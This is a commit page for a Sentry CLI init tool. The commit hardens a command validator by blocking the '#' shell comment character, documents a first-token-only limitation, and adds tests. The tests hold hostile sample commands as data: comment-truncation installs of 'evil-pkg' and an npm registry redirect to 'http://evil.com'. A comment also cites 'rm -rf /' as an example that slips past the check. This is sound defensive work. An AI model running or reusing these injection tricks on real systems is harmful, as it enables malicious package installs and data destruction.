Skip to content

Commit be2e9ad

Browse files
betegonclaude
andcommitted
fix(init): address PR review comments — block # metachar, document first-token limitation, unexport FEATURE_INFO
- Add `#` to shell metacharacter blocklist to prevent command truncation (e.g. `npm install evil-pkg # @sentry/node`) - Document Layer 3's first-token-only limitation with explanatory comment - Remove unnecessary `export` from `FEATURE_INFO` in clack-utils.ts - Add test for shell comment character blocking Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
1 parent 5313a92 commit be2e9ad

3 files changed

Lines changed: 17 additions & 2 deletions

File tree

src/lib/init/clack-utils.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ export function abortIfCancelled<T>(value: T | symbol): T {
2222
return value as T;
2323
}
2424

25-
export const FEATURE_INFO: Record<string, { label: string; hint: string }> = {
25+
const FEATURE_INFO: Record<string, { label: string; hint: string }> = {
2626
errorMonitoring: {
2727
label: "Error Monitoring",
2828
hint: "Automatic error and crash reporting",

src/lib/init/local-ops.ts

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> =
5959
{ pattern: "}", label: "brace expansion (})" },
6060
{ pattern: "*", label: "glob expansion (*)" },
6161
{ pattern: "?", label: "glob expansion (?)" },
62+
{ pattern: "#", label: "shell comment (#)" },
6263
];
6364

6465
const WHITESPACE_RE = /\s+/;
@@ -141,7 +142,12 @@ export function validateCommand(command: string): string | undefined {
141142
return `Blocked command: contains environment variable assignment — "${command}"`;
142143
}
143144

144-
// Layer 3: Block dangerous executables
145+
// Layer 3: Block dangerous executables (first token only).
146+
// NOTE: This only checks the primary executable (e.g. "npm"), not
147+
// subcommands. A command like "npm exec -- rm -rf /" passes because
148+
// "npm" is the first token. Comprehensive subcommand parsing across
149+
// package managers is not implemented — commands originate from the
150+
// Sentry API server, and Layer 1 already blocks most injection patterns.
145151
const executable = path.basename(firstToken);
146152
if (BLOCKED_EXECUTABLES.has(executable)) {
147153
return `Blocked command: disallowed executable "${executable}" — "${command}"`;

test/lib/init/local-ops.test.ts

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -97,6 +97,15 @@ describe("validateCommand", () => {
9797
}
9898
});
9999

100+
test("blocks shell comment character to prevent command truncation", () => {
101+
for (const cmd of [
102+
"npm install evil-pkg # @sentry/node",
103+
"npm install evil-pkg#benign",
104+
]) {
105+
expect(validateCommand(cmd)).toContain("Blocked command");
106+
}
107+
});
108+
100109
test("blocks environment variable injection in first token", () => {
101110
for (const cmd of [
102111
"npm_config_registry=http://evil.com npm install @sentry/node",

0 commit comments

Comments
 (0)